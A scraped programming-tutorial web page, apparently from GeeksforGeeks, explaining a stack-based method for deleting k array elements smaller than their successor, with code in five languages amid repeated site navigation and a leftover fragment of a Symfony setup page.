Composer. Hopefully, you have installed the composer on your machine. If the composer is not installed, download and install it." }, { "code": null, "e": 5092, "s": 5022, "text": "The following command is used to create a project using the composer." }, { "code": null, "e": 5163, "s": 5092, "text": "$ composer create-project symfony/framework-standard-edition app_name\n" }, { "code": null, "e": 5244, "s": 5163, "text": "If you need to specify a specific version, you can specify in the above command." }, { "code": null, "e": 5327, "s": 5244, "text": "Move to the project directory and run the application using the following command." }, { "code": null, "e": 5371, "s": 5327, "text": "cd HelloWorld \nphp bin/console server:run \n" }, { "code": null, "e": 5502, "s": 5371, "text": "After executing the above command, open your browser and request the url http://localhost:8000/. It produces the following result." }, { "code": null, "e": 5509, "s": 5502, "text": " Print" }, { "code": null, "e": 5520, "s": 5509, "text": " Add Notes" } ]
Delete array elements which are smaller than next or become smaller - GeeksforGeeks
CoursesFor Working ProfessionalsLIVEDSA Live ClassesSystem DesignJava Backend DevelopmentFull Stack LIVEExplore MoreSelf-PacedDSA- Self PacedSDE TheoryMust-Do Coding QuestionsExplore MoreFor StudentsLIVECompetitive ProgrammingData Structures with C++Data ScienceExplore MoreSelf-PacedDSA- Self PacedCIPJAVA / Python / C++Explore MoreSchool CoursesSchool GuidePython ProgrammingLearn To Make AppsExplore moreAll Courses For Working ProfessionalsLIVEDSA Live ClassesSystem DesignJava Backend DevelopmentFull Stack LIVEExplore MoreSelf-PacedDSA- Self PacedSDE TheoryMust-Do Coding QuestionsExplore More LIVEDSA Live ClassesSystem DesignJava Backend DevelopmentFull Stack LIVEExplore More DSA Live Classes System Design Java Backend Development Full Stack LIVE Explore More Self-PacedDSA- Self PacedSDE TheoryMust-Do Coding QuestionsExplore More DSA- Self Paced SDE Theory Must-Do Coding Questions Explore More For StudentsLIVECompetitive ProgrammingData Structures with C++Data ScienceExplore MoreSelf-PacedDSA- Self PacedCIPJAVA / Python / C++Explore More LIVECompetitive ProgrammingData Structures with C++Data ScienceExplore More Competitive Programming Data Structures with C++ Data Science Explore More Self-PacedDSA- Self PacedCIPJAVA / Python / C++Explore More DSA- Self Paced CIP JAVA / Python / C++ Explore More School CoursesSchool GuidePython ProgrammingLearn To Make AppsExplore more School Guide Python Programming Learn To Make Apps Explore more All Courses TutorialsPractice DS & Algo.Must Do QuestionsDSA Topic-wiseDSA Company-wiseAlgorithmsAnalysis of AlgorithmsAsymptotic AnalysisWorst, Average and Best CasesAsymptotic NotationsLittle o and little omega notationsLower and Upper Bound TheoryAnalysis of LoopsSolving RecurrencesAmortized AnalysisWhat does 'Space Complexity' mean ?Pseudo-polynomial AlgorithmsPolynomial Time Approximation SchemeA Time Complexity QuestionSearching AlgorithmsSorting AlgorithmsGraph AlgorithmsPattern SearchingGeometric AlgorithmsMathematicalBitwise AlgorithmsRandomized AlgorithmsGreedy AlgorithmsDynamic ProgrammingDivide and ConquerBacktrackingBranch and BoundAll AlgorithmsData StructuresArraysLinked ListStackQueueBinary TreeBinary Search TreeHeapHashingGraphAdvanced Data StructureMatrixStringsAll Data StructuresInterview CornerCompany PreparationTop TopicsPractice Company QuestionsInterview ExperiencesExperienced InterviewsInternship InterviewsCompetititve ProgrammingDesign PatternsSystem Design TutorialMultiple Choice QuizzesLanguagesCC++JavaPythonC#JavaScriptjQuerySQLPHPScalaPerlGo LanguageHTMLCSSKotlinML & Data ScienceMachine LearningData ScienceCS SubjectsMathematicsOperating SystemDBMSComputer NetworksComputer Organization and ArchitectureTheory of ComputationCompiler DesignDigital LogicSoftware EngineeringGATEGATE Computer Science NotesLast Minute NotesGATE CS Solved PapersGATE CS Original Papers and Official KeysGATE 2021 DatesGATE CS 2021 SyllabusImportant Topics for GATE CSWeb TechnologiesHTMLCSSJavaScriptAngularJSReactJSNodeJSBootstrapjQueryPHPSoftware DesignsSoftware Design PatternsSystem Design TutorialSchool LearningSchool ProgrammingMathematicsNumber SystemAlgebraTrigonometryStatisticsProbabilityGeometryMensurationCalculusMaths Notes (Class 8-12)Class 8 NotesClass 9 NotesClass 10 NotesClass 11 NotesClass 12 NotesNCERT SolutionsClass 8 Maths SolutionClass 9 Maths SolutionClass 10 Maths SolutionClass 11 Maths SolutionClass 12 Maths SolutionRD Sharma SolutionsClass 8 Maths SolutionClass 9 Maths SolutionClass 10 Maths SolutionClass 11 Maths SolutionClass 12 Maths SolutionPhysics Notes (Class 8-11)Class 8 NotesClass 9 NotesClass 10 NotesClass 11 NotesCS Exams/PSUsISROISRO CS Original Papers and Official KeysISRO CS Solved PapersISRO CS Syllabus for Scientist/Engineer ExamUGC NETUGC NET CS Notes Paper IIUGC NET CS Notes Paper IIIUGC NET CS Solved PapersStudentCampus Ambassador ProgramSchool Ambassador ProgramProjectGeek of the MonthCampus Geek of the MonthPlacement CourseCompetititve ProgrammingTestimonialsGeek on the TopCareersInternship Practice DS & Algo.Must Do QuestionsDSA Topic-wiseDSA Company-wise Must Do Questions DSA Topic-wise DSA Company-wise AlgorithmsAnalysis of AlgorithmsAsymptotic AnalysisWorst, Average and Best CasesAsymptotic NotationsLittle o and little omega notationsLower and Upper Bound TheoryAnalysis of LoopsSolving RecurrencesAmortized AnalysisWhat does 'Space Complexity' mean ?Pseudo-polynomial AlgorithmsPolynomial Time Approximation SchemeA Time Complexity QuestionSearching AlgorithmsSorting AlgorithmsGraph AlgorithmsPattern SearchingGeometric AlgorithmsMathematicalBitwise AlgorithmsRandomized AlgorithmsGreedy AlgorithmsDynamic ProgrammingDivide and ConquerBacktrackingBranch and BoundAll Algorithms Analysis of AlgorithmsAsymptotic AnalysisWorst, Average and Best CasesAsymptotic NotationsLittle o and little omega notationsLower and Upper Bound TheoryAnalysis of LoopsSolving RecurrencesAmortized AnalysisWhat does 'Space Complexity' mean ?Pseudo-polynomial AlgorithmsPolynomial Time Approximation SchemeA Time Complexity Question Asymptotic Analysis Worst, Average and Best Cases Asymptotic Notations Little o and little omega notations Lower and Upper Bound Theory Analysis of Loops Solving Recurrences Amortized Analysis What does 'Space Complexity' mean ? Pseudo-polynomial Algorithms Polynomial Time Approximation Scheme A Time Complexity Question Searching Algorithms Sorting Algorithms Graph Algorithms Pattern Searching Geometric Algorithms Mathematical Bitwise Algorithms Randomized Algorithms Greedy Algorithms Dynamic Programming Divide and Conquer Backtracking Branch and Bound All Algorithms Data StructuresArraysLinked ListStackQueueBinary TreeBinary Search TreeHeapHashingGraphAdvanced Data StructureMatrixStringsAll Data Structures Arrays Linked List Stack Queue Binary Tree Binary Search Tree Heap Hashing Graph Advanced Data Structure Matrix Strings All Data Structures Interview CornerCompany PreparationTop TopicsPractice Company QuestionsInterview ExperiencesExperienced InterviewsInternship InterviewsCompetititve ProgrammingDesign PatternsSystem Design TutorialMultiple Choice Quizzes Company Preparation Top Topics Practice Company Questions Interview Experiences Experienced Interviews Internship Interviews Competititve Programming Design Patterns System Design Tutorial Multiple Choice Quizzes LanguagesCC++JavaPythonC#JavaScriptjQuerySQLPHPScalaPerlGo LanguageHTMLCSSKotlin C C++ Java Python C# JavaScript jQuery SQL PHP Scala Perl Go Language HTML CSS Kotlin ML & Data ScienceMachine LearningData Science Machine Learning Data Science CS SubjectsMathematicsOperating SystemDBMSComputer NetworksComputer Organization and ArchitectureTheory of ComputationCompiler DesignDigital LogicSoftware Engineering Mathematics Operating System DBMS Computer Networks Computer Organization and Architecture Theory of Computation Compiler Design Digital Logic Software Engineering GATEGATE Computer Science NotesLast Minute NotesGATE CS Solved PapersGATE CS Original Papers and Official KeysGATE 2021 DatesGATE CS 2021 SyllabusImportant Topics for GATE CS GATE Computer Science Notes Last Minute Notes GATE CS Solved Papers GATE CS Original Papers and Official Keys GATE 2021 Dates GATE CS 2021 Syllabus Important Topics for GATE CS Web TechnologiesHTMLCSSJavaScriptAngularJSReactJSNodeJSBootstrapjQueryPHP HTML CSS JavaScript AngularJS ReactJS NodeJS Bootstrap jQuery PHP Software DesignsSoftware Design PatternsSystem Design Tutorial Software Design Patterns System Design Tutorial School LearningSchool ProgrammingMathematicsNumber SystemAlgebraTrigonometryStatisticsProbabilityGeometryMensurationCalculusMaths Notes (Class 8-12)Class 8 NotesClass 9 NotesClass 10 NotesClass 11 NotesClass 12 NotesNCERT SolutionsClass 8 Maths SolutionClass 9 Maths SolutionClass 10 Maths SolutionClass 11 Maths SolutionClass 12 Maths SolutionRD Sharma SolutionsClass 8 Maths SolutionClass 9 Maths SolutionClass 10 Maths SolutionClass 11 Maths SolutionClass 12 Maths SolutionPhysics Notes (Class 8-11)Class 8 NotesClass 9 NotesClass 10 NotesClass 11 Notes School Programming MathematicsNumber SystemAlgebraTrigonometryStatisticsProbabilityGeometryMensurationCalculus Number System Algebra Trigonometry Statistics Probability Geometry Mensuration Calculus Maths Notes (Class 8-12)Class 8 NotesClass 9 NotesClass 10 NotesClass 11 NotesClass 12 Notes Class 8 Notes Class 9 Notes Class 10 Notes Class 11 Notes Class 12 Notes NCERT SolutionsClass 8 Maths SolutionClass 9 Maths SolutionClass 10 Maths SolutionClass 11 Maths SolutionClass 12 Maths Solution Class 8 Maths Solution Class 9 Maths Solution Class 10 Maths Solution Class 11 Maths Solution Class 12 Maths Solution RD Sharma SolutionsClass 8 Maths SolutionClass 9 Maths SolutionClass 10 Maths SolutionClass 11 Maths SolutionClass 12 Maths Solution Class 8 Maths Solution Class 9 Maths Solution Class 10 Maths Solution Class 11 Maths Solution Class 12 Maths Solution Physics Notes (Class 8-11)Class 8 NotesClass 9 NotesClass 10 NotesClass 11 Notes Class 8 Notes Class 9 Notes Class 10 Notes Class 11 Notes CS Exams/PSUsISROISRO CS Original Papers and Official KeysISRO CS Solved PapersISRO CS Syllabus for Scientist/Engineer ExamUGC NETUGC NET CS Notes Paper IIUGC NET CS Notes Paper IIIUGC NET CS Solved Papers ISROISRO CS Original Papers and Official KeysISRO CS Solved PapersISRO CS Syllabus for Scientist/Engineer Exam ISRO CS Original Papers and Official Keys ISRO CS Solved Papers ISRO CS Syllabus for Scientist/Engineer Exam UGC NETUGC NET CS Notes Paper IIUGC NET CS Notes Paper IIIUGC NET CS Solved Papers UGC NET CS Notes Paper II UGC NET CS Notes Paper III UGC NET CS Solved Papers StudentCampus Ambassador ProgramSchool Ambassador ProgramProjectGeek of the MonthCampus Geek of the MonthPlacement CourseCompetititve ProgrammingTestimonialsGeek on the TopCareersInternship Campus Ambassador Program School Ambassador Program Project Geek of the Month Campus Geek of the Month Placement Course Competititve Programming Testimonials Geek on the Top Careers Internship JobsApply for JobsPost a JobJOB-A-THON Apply for Jobs Post a Job JOB-A-THON Events WriteCome write articles for us and get featuredPracticeLearn and code with the best industry expertsPremiumGet access to ad-free content, doubt assistance and more!JobsCome and find your dream job with usGeeks DigestQuizzesGeeks CampusGblog ArticlesIDECampus Mantri Geeks Digest Quizzes Geeks Campus Gblog Articles IDE Campus Mantri Sign In Sign In Home Saved Videos Courses For Working Professionals LIVE DSA Live Classes System Design Java Backend Development Full Stack LIVE Explore More Self-Paced DSA- Self Paced SDE Theory Must-Do Coding Questions Explore More For Students LIVE Competitive Programming Data Structures with C++ Data Science Explore More Self-Paced DSA- Self Paced CIP JAVA / Python / C++ Explore More School Courses School Guide Python Programming Learn To Make Apps Explore more Practice DS & Algo. Must Do Questions DSA Topic-wise DSA Company-wise Algorithms Searching Algorithms Sorting Algorithms Graph Algorithms Pattern Searching Geometric Algorithms Mathematical Bitwise Algorithms Randomized Algorithms Greedy Algorithms Dynamic Programming Divide and Conquer Backtracking Branch and Bound All Algorithms Analysis of Algorithms Asymptotic Analysis Worst, Average and Best Cases Asymptotic Notations Little o and little omega notations Lower and Upper Bound Theory Analysis of Loops Solving Recurrences Amortized Analysis What does 'Space Complexity' mean ? Pseudo-polynomial Algorithms Polynomial Time Approximation Scheme A Time Complexity Question Data Structures Arrays Linked List Stack Queue Binary Tree Binary Search Tree Heap Hashing Graph Advanced Data Structure Matrix Strings All Data Structures Interview Corner Company Preparation Top Topics Practice Company Questions Interview Experiences Experienced Interviews Internship Interviews Competititve Programming Design Patterns System Design Tutorial Multiple Choice Quizzes Languages C C++ Java Python C# JavaScript jQuery SQL PHP Scala Perl Go Language HTML CSS Kotlin ML & Data Science Machine Learning Data Science CS Subjects Mathematics Operating System DBMS Computer Networks Computer Organization and Architecture Theory of Computation Compiler Design Digital Logic Software Engineering GATE GATE Computer Science Notes Last Minute Notes GATE CS Solved Papers GATE CS Original Papers and Official Keys GATE 2021 Dates GATE CS 2021 Syllabus Important Topics for GATE CS Web Technologies HTML CSS JavaScript AngularJS ReactJS NodeJS Bootstrap jQuery PHP Software Designs Software Design Patterns System Design Tutorial School Learning School Programming Mathematics Number System Algebra Trigonometry Statistics Probability Geometry Mensuration Calculus Maths Notes (Class 8-12) Class 8 Notes Class 9 Notes Class 10 Notes Class 11 Notes Class 12 Notes NCERT Solutions Class 8 Maths Solution Class 9 Maths Solution Class 10 Maths Solution Class 11 Maths Solution Class 12 Maths Solution RD Sharma Solutions Class 8 Maths Solution Class 9 Maths Solution Class 10 Maths Solution Class 11 Maths Solution Class 12 Maths Solution Physics Notes (Class 8-11) Class 8 Notes Class 9 Notes Class 10 Notes Class 11 Notes CS Exams/PSUs ISRO ISRO CS Original Papers and Official Keys ISRO CS Solved Papers ISRO CS Syllabus for Scientist/Engineer Exam UGC NET UGC NET CS Notes Paper II UGC NET CS Notes Paper III UGC NET CS Solved Papers Student Campus Ambassador Program School Ambassador Program Project Geek of the Month Campus Geek of the Month Placement Course Competititve Programming Testimonials Geek on the Top Careers Internship Tutorials Jobs Apply for Jobs Post a Job JOB-A-THON For Working Professionals LIVE DSA Live Classes System Design Java Backend Development Full Stack LIVE Explore More DSA Live Classes System Design Java Backend Development Full Stack LIVE Explore More Self-Paced DSA- Self Paced SDE Theory Must-Do Coding Questions Explore More DSA- Self Paced SDE Theory Must-Do Coding Questions Explore More For Students LIVE Competitive Programming Data Structures with C++ Data Science Explore More Competitive Programming Data Structures with C++ Data Science Explore More Self-Paced DSA- Self Paced CIP JAVA / Python / C++ Explore More DSA- Self Paced CIP JAVA / Python / C++ Explore More School Courses School Guide Python Programming Learn To Make Apps Explore more School Guide Python Programming Learn To Make Apps Explore more Practice DS & Algo. Must Do Questions DSA Topic-wise DSA Company-wise Must Do Questions DSA Topic-wise DSA Company-wise Algorithms Searching Algorithms Sorting Algorithms Graph Algorithms Pattern Searching Geometric Algorithms Mathematical Bitwise Algorithms Randomized Algorithms Greedy Algorithms Dynamic Programming Divide and Conquer Backtracking Branch and Bound All Algorithms Searching Algorithms Sorting Algorithms Graph Algorithms Pattern Searching Geometric Algorithms Mathematical Bitwise Algorithms Randomized Algorithms Greedy Algorithms Dynamic Programming Divide and Conquer Backtracking Branch and Bound All Algorithms Analysis of Algorithms Asymptotic Analysis Worst, Average and Best Cases Asymptotic Notations Little o and little omega notations Lower and Upper Bound Theory Analysis of Loops Solving Recurrences Amortized Analysis What does 'Space Complexity' mean ? Pseudo-polynomial Algorithms Polynomial Time Approximation Scheme A Time Complexity Question Asymptotic Analysis Worst, Average and Best Cases Asymptotic Notations Little o and little omega notations Lower and Upper Bound Theory Analysis of Loops Solving Recurrences Amortized Analysis What does 'Space Complexity' mean ? Pseudo-polynomial Algorithms Polynomial Time Approximation Scheme A Time Complexity Question Data Structures Arrays Linked List Stack Queue Binary Tree Binary Search Tree Heap Hashing Graph Advanced Data Structure Matrix Strings All Data Structures Arrays Linked List Stack Queue Binary Tree Binary Search Tree Heap Hashing Graph Advanced Data Structure Matrix Strings All Data Structures Interview Corner Company Preparation Top Topics Practice Company Questions Interview Experiences Experienced Interviews Internship Interviews Competititve Programming Design Patterns System Design Tutorial Multiple Choice Quizzes Company Preparation Top Topics Practice Company Questions Interview Experiences Experienced Interviews Internship Interviews Competititve Programming Design Patterns System Design Tutorial Multiple Choice Quizzes Languages C C++ Java Python C# JavaScript jQuery SQL PHP Scala Perl Go Language HTML CSS Kotlin C C++ Java Python C# JavaScript jQuery SQL PHP Scala Perl Go Language HTML CSS Kotlin ML & Data Science Machine Learning Data Science Machine Learning Data Science CS Subjects Mathematics Operating System DBMS Computer Networks Computer Organization and Architecture Theory of Computation Compiler Design Digital Logic Software Engineering Mathematics Operating System DBMS Computer Networks Computer Organization and Architecture Theory of Computation Compiler Design Digital Logic Software Engineering GATE GATE Computer Science Notes Last Minute Notes GATE CS Solved Papers GATE CS Original Papers and Official Keys GATE 2021 Dates GATE CS 2021 Syllabus Important Topics for GATE CS GATE Computer Science Notes Last Minute Notes GATE CS Solved Papers GATE CS Original Papers and Official Keys GATE 2021 Dates GATE CS 2021 Syllabus Important Topics for GATE CS Web Technologies HTML CSS JavaScript AngularJS ReactJS NodeJS Bootstrap jQuery PHP HTML CSS JavaScript AngularJS ReactJS NodeJS Bootstrap jQuery PHP Software Designs Software Design Patterns System Design Tutorial Software Design Patterns System Design Tutorial School Learning School Programming School Programming Mathematics Number System Algebra Trigonometry Statistics Probability Geometry Mensuration Calculus Number System Algebra Trigonometry Statistics Probability Geometry Mensuration Calculus Maths Notes (Class 8-12) Class 8 Notes Class 9 Notes Class 10 Notes Class 11 Notes Class 12 Notes Class 8 Notes Class 9 Notes Class 10 Notes Class 11 Notes Class 12 Notes NCERT Solutions Class 8 Maths Solution Class 9 Maths Solution Class 10 Maths Solution Class 11 Maths Solution Class 12 Maths Solution Class 8 Maths Solution Class 9 Maths Solution Class 10 Maths Solution Class 11 Maths Solution Class 12 Maths Solution RD Sharma Solutions Class 8 Maths Solution Class 9 Maths Solution Class 10 Maths Solution Class 11 Maths Solution Class 12 Maths Solution Class 8 Maths Solution Class 9 Maths Solution Class 10 Maths Solution Class 11 Maths Solution Class 12 Maths Solution Physics Notes (Class 8-11) Class 8 Notes Class 9 Notes Class 10 Notes Class 11 Notes Class 8 Notes Class 9 Notes Class 10 Notes Class 11 Notes CS Exams/PSUs ISRO ISRO CS Original Papers and Official Keys ISRO CS Solved Papers ISRO CS Syllabus for Scientist/Engineer Exam ISRO CS Original Papers and Official Keys ISRO CS Solved Papers ISRO CS Syllabus for Scientist/Engineer Exam UGC NET UGC NET CS Notes Paper II UGC NET CS Notes Paper III UGC NET CS Solved Papers UGC NET CS Notes Paper II UGC NET CS Notes Paper III UGC NET CS Solved Papers Student Campus Ambassador Program School Ambassador Program Project Geek of the Month Campus Geek of the Month Placement Course Competititve Programming Testimonials Geek on the Top Careers Internship Campus Ambassador Program School Ambassador Program Project Geek of the Month Campus Geek of the Month Placement Course Competititve Programming Testimonials Geek on the Top Careers Internship Tutorials Jobs Apply for Jobs Post a Job JOB-A-THON Apply for Jobs Post a Job JOB-A-THON GBlog Puzzles What's New ? Array Matrix Strings Hashing Linked List Stack Queue Binary Tree Binary Search Tree Heap Graph Searching Sorting Divide & Conquer Mathematical Geometric Bitwise Greedy Backtracking Branch and Bound Dynamic Programming Pattern Searching Randomized Sorting array using Stacks Delete array elements which are smaller than next or become smaller Interleave the first half of the queue with second half Sorting a Queue without extra space Sort the Queue using Recursion Check if a queue can be sorted into another queue using a stack Reverse individual words Reverse words in a given string Print words of a string in reverse order Different methods to reverse a string in C/C++ std::reverse() in C++ How to reverse a Vector using STL in C++? What are the default values of static variables in C? Understanding “volatile” qualifier in C | Set 2 (Examples) Const Qualifier in C Initialization of static variables in C Understanding “register” keyword in C Understanding “extern” keyword in C Storage Classes in C Static Variables in C Memory Layout of C Programs How to deallocate memory without using free() in C? Difference Between malloc() and calloc() with Examples Dynamic Memory Allocation in C using malloc(), calloc(), free() and realloc() How to dynamically allocate a 2D array in C? Arrays in Java Write a program to reverse an array or string Largest Sum Contiguous Subarray Program for array rotation Arrays in C/C++ Sorting array using Stacks Delete array elements which are smaller than next or become smaller Interleave the first half of the queue with second half Sorting a Queue without extra space Sort the Queue using Recursion Check if a queue can be sorted into another queue using a stack Reverse individual words Reverse words in a given string Print words of a string in reverse order Different methods to reverse a string in C/C++ std::reverse() in C++ How to reverse a Vector using STL in C++? What are the default values of static variables in C? Understanding “volatile” qualifier in C | Set 2 (Examples) Const Qualifier in C Initialization of static variables in C Understanding “register” keyword in C Understanding “extern” keyword in C Storage Classes in C Static Variables in C Memory Layout of C Programs How to deallocate memory without using free() in C? Difference Between malloc() and calloc() with Examples Dynamic Memory Allocation in C using malloc(), calloc(), free() and realloc() How to dynamically allocate a 2D array in C? Arrays in Java Write a program to reverse an array or string Largest Sum Contiguous Subarray Program for array rotation Arrays in C/C++ Difficulty Level : Easy Given an array arr[] and a number k. The task is to delete k elements which are smaller than next element (i.e., we delete arr[i] if arr[i] < arr[i+1]) or become smaller than next because next element is deleted. Examples: Input : arr[] = { 3, 100, 1 } k = 1 Output : 100, 1 Explanation : arr[0] < arr[1] means 3 is less than 100, so delete 3 Input : arr[] = {20, 10, 25, 30, 40} k = 2 Output : 25 30 40 Explanation : First we delete 10 because it follows arr[i] < arr[i+1]. Then we delete 20 because 25 is moved next to it and it also starts following the condition. Input : arr[] = { 23, 45, 11, 77, 18} k = 3 Output : 77, 18 Explanation : We delete 23, 45 and 11 as they follow the condition arr[i] < arr[i+1] Approach: Stack is used to solving this problem. First we push arr[0] in stack S and then initialize count as 0, then after traverse a loop from 1 to n and then we check that s.top() < arr[i] if condition is true then we pop the element from stack and increase the count if count == k then we stop the loop and then store the value of stack in another array and then print that array. C++ Java Python3 C# Javascript // C++ program to delete elements from array.#include <bits/stdc++.h>using namespace std; // Function for deleting k elementsvoid deleteElements(int arr[], int n, int k){ // Create a stack and push arr[0] stack<int> s; s.push(arr[0]); int count = 0; // traversing a loop from i = 1 to n for (int i=1; i<n; i++) { // condition for deleting an element while (!s.empty() && s.top() < arr[i] && count < k) { s.pop(); count++; } s.push(arr[i]); } // Putting elements of stack in a vector // from end to begin. int m = s.size(); vector<int> v(m); // Size of vector is m while (!s.empty()) { // push element from stack to vector v v[--m] = s.top(); s.pop(); } // printing result for (auto x : v) cout << x << " "; cout << endl;} // Driver codeint main(){ int n = 5, k = 2; int arr[] = {20, 10, 25, 30, 40}; deleteElements(arr, n, k); return 0;} import java.util.*; //Java program to delete elements from array.class GFG { // Function for deleting k elements static void deleteElements(int arr[], int n, int k) { // Create a stack and push arr[0] Stack<Integer> s = new Stack<>(); s.push(arr[0]); int count = 0; // traversing a loop from i = 1 to n for (int i = 1; i < n; i++) { // condition for deleting an element while (!s.empty() && s.peek() < arr[i] && count < k) { s.pop(); count++; } s.push(arr[i]); } // Putting elements of stack in a vector // from end to begin. int m = s.size(); Integer[] v = new Integer[m]; // Size of vector is m while (!s.empty()) { // push element from stack to vector v v[--m] = s.peek(); s.pop(); } // printing result for (Integer x : v) { System.out.print(x + " "); }; System.out.println(""); } // Driver code public static void main(String[] args) { int n = 5, k = 2; int arr[] = {20, 10, 25, 30, 40}; deleteElements(arr, n, k); }}// This code is contributed by PrinciRaj1992 # Function to delete elementsdef deleteElements(arr, n, k): # create an empty stack st st = [] st.append(arr[0]) # index to maintain the top # of the stack top = 0 count = 0 for i in range(1, n): # pop till the present element # is greater than stack's top # element while(len(st) != 0 and count < k and st[top] < arr[i]): st.pop() count += 1 top -= 1 st.append(arr[i]) top += 1 # print the remaining elements for i in range(0, len(st)): print(st[i], " ", end="") # Driver codek = 2arr = [20, 10, 25, 30, 40]deleteElements(arr, len(arr), k) # This code is contributed by himan085. // C# program to delete elements from array.using System;using System.Collections.Generic; class GFG { // Function for deleting k elements static void deleteElements(int []arr, int n, int k) { // Create a stack and push arr[0] Stack<int> s = new Stack<int>(); s.Push(arr[0]); int count = 0; // traversing a loop from i = 1 to n for (int i = 1; i < n; i++) { // condition for deleting an element while (s.Count != 0 && s.Peek() < arr[i] && count < k) { s.Pop(); count++; } s.Push(arr[i]); } // Putting elements of stack in a vector // from end to begin. int m = s.Count; int[] v = new int[m]; // Size of vector is m while (s.Count != 0) { // push element from stack to vector v v[--m] = s.Peek(); s.Pop(); } // printing result foreach (int x in v) { Console.Write(x + " "); }; Console.Write(""); } // Driver code public static void Main() { int n = 5, k = 2; int []arr = {20, 10, 25, 30, 40}; deleteElements(arr, n, k); }} // This code is contributed by 29AjayKumar <script> // Javascript program to delete elements from array. // Function for deleting k elementsfunction deleteElements(arr, n, k){ // Create a stack and push arr[0] var s = []; s.push(arr[0]); var count = 0; // Traversing a loop from i = 1 to n for(var i = 1; i < n; i++) { // condition for deleting an element while (s.length != 0 && s[s.length - 1] < arr[i] && count < k) { s.pop(); count++; } s.push(arr[i]); } // Putting elements of stack in a vector // from end to begin. var m = s.length; var v = Array(m).fill(0); // Size of vector is m while (s.length != 0) { // push element from stack to vector v m--; v[m] = s[s.length - 1]; s.pop(); } // printing result v.forEach(x => { document.write(x + " "); });} // Driver codevar n = 5, k = 2;var arr = [ 20, 10, 25, 30, 40 ] deleteElements(arr, n, k); // This code is contributed by itsok </script> 25 30 40 Time Complexity: O(n2) Auxiliary Space: O(n + m) himan085 princiraj1992 29AjayKumar swapnil.kesur itsok akshaysingh98088 samim2000 cpp-stack cpp-vector STL Arrays Stack Arrays Stack STL Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments Stack Data Structure (Introduction and Program) Top 50 Array Coding Problems for Interviews Introduction to Arrays Multidimensional Arrays in Java Linear Search Stack Data Structure (Introduction and Program) Stack in Python Stack Class in Java Program for Tower of Hanoi Check for Balanced Brackets in an expression (well-formedness) using Stack
[ { "code": null, "e": 419, "s": 0, "text": "CoursesFor Working ProfessionalsLIVEDSA Live ClassesSystem DesignJava Backend DevelopmentFull Stack LIVEExplore MoreSelf-PacedDSA- Self PacedSDE TheoryMust-Do Coding QuestionsExplore MoreFor StudentsLIVECompetitive ProgrammingData Structures with C++Data ScienceExplore MoreSelf-PacedDSA- Self PacedCIPJAVA / Python / C++Explore MoreSchool CoursesSchool GuidePython ProgrammingLearn To Make AppsExplore moreAll Courses" }, { "code": null, "e": 600, "s": 419, "text": "For Working ProfessionalsLIVEDSA Live ClassesSystem DesignJava Backend DevelopmentFull Stack LIVEExplore MoreSelf-PacedDSA- Self PacedSDE TheoryMust-Do Coding QuestionsExplore More" }, { "code": null, "e": 685, "s": 600, "text": "LIVEDSA Live ClassesSystem DesignJava Backend DevelopmentFull Stack LIVEExplore More" }, { "code": null, "e": 702, "s": 685, "text": "DSA Live Classes" }, { "code": null, "e": 716, "s": 702, "text": "System Design" }, { "code": null, "e": 741, "s": 716, "text": "Java Backend Development" }, { "code": null, "e": 757, "s": 741, "text": "Full Stack LIVE" }, { "code": null, "e": 770, "s": 757, "text": "Explore More" }, { "code": null, "e": 842, "s": 770, "text": "Self-PacedDSA- Self PacedSDE TheoryMust-Do Coding QuestionsExplore More" }, { "code": null, "e": 858, "s": 842, "text": "DSA- Self Paced" }, { "code": null, "e": 869, "s": 858, "text": "SDE Theory" }, { "code": null, "e": 894, "s": 869, "text": "Must-Do Coding Questions" }, { "code": null, "e": 907, "s": 894, "text": "Explore More" }, { "code": null, "e": 1054, "s": 907, "text": "For StudentsLIVECompetitive ProgrammingData Structures with C++Data ScienceExplore MoreSelf-PacedDSA- Self PacedCIPJAVA / Python / C++Explore More" }, { "code": null, "e": 1130, "s": 1054, "text": "LIVECompetitive ProgrammingData Structures with C++Data ScienceExplore More" }, { "code": null, "e": 1154, "s": 1130, "text": "Competitive Programming" }, { "code": null, "e": 1179, "s": 1154, "text": "Data Structures with C++" }, { "code": null, "e": 1192, "s": 1179, "text": "Data Science" }, { "code": null, "e": 1205, "s": 1192, "text": "Explore More" }, { "code": null, "e": 1265, "s": 1205, "text": "Self-PacedDSA- Self PacedCIPJAVA / Python / C++Explore More" }, { "code": null, "e": 1281, "s": 1265, "text": "DSA- Self Paced" }, { "code": null, "e": 1285, "s": 1281, "text": "CIP" }, { "code": null, "e": 1305, "s": 1285, "text": "JAVA / Python / C++" }, { "code": null, "e": 1318, "s": 1305, "text": "Explore More" }, { "code": null, "e": 1393, "s": 1318, "text": "School CoursesSchool GuidePython ProgrammingLearn To Make AppsExplore more" }, { "code": null, "e": 1406, "s": 1393, "text": "School Guide" }, { "code": null, "e": 1425, "s": 1406, "text": "Python Programming" }, { "code": null, "e": 1444, "s": 1425, "text": "Learn To Make Apps" }, { "code": null, "e": 1457, "s": 1444, "text": "Explore more" }, { "code": null, "e": 1469, "s": 1457, "text": "All Courses" }, { "code": null, "e": 4036, "s": 1469, "text": "TutorialsPractice DS & Algo.Must Do QuestionsDSA Topic-wiseDSA Company-wiseAlgorithmsAnalysis of AlgorithmsAsymptotic AnalysisWorst, Average and Best CasesAsymptotic NotationsLittle o and little omega notationsLower and Upper Bound TheoryAnalysis of LoopsSolving RecurrencesAmortized AnalysisWhat does 'Space Complexity' mean ?Pseudo-polynomial AlgorithmsPolynomial Time Approximation SchemeA Time Complexity QuestionSearching AlgorithmsSorting AlgorithmsGraph AlgorithmsPattern SearchingGeometric AlgorithmsMathematicalBitwise AlgorithmsRandomized AlgorithmsGreedy AlgorithmsDynamic ProgrammingDivide and ConquerBacktrackingBranch and BoundAll AlgorithmsData StructuresArraysLinked ListStackQueueBinary TreeBinary Search TreeHeapHashingGraphAdvanced Data StructureMatrixStringsAll Data StructuresInterview CornerCompany PreparationTop TopicsPractice Company QuestionsInterview ExperiencesExperienced InterviewsInternship InterviewsCompetititve ProgrammingDesign PatternsSystem Design TutorialMultiple Choice QuizzesLanguagesCC++JavaPythonC#JavaScriptjQuerySQLPHPScalaPerlGo LanguageHTMLCSSKotlinML & Data ScienceMachine LearningData ScienceCS SubjectsMathematicsOperating SystemDBMSComputer NetworksComputer Organization and ArchitectureTheory of ComputationCompiler DesignDigital LogicSoftware EngineeringGATEGATE Computer Science NotesLast Minute NotesGATE CS Solved PapersGATE CS Original Papers and Official KeysGATE 2021 DatesGATE CS 2021 SyllabusImportant Topics for GATE CSWeb 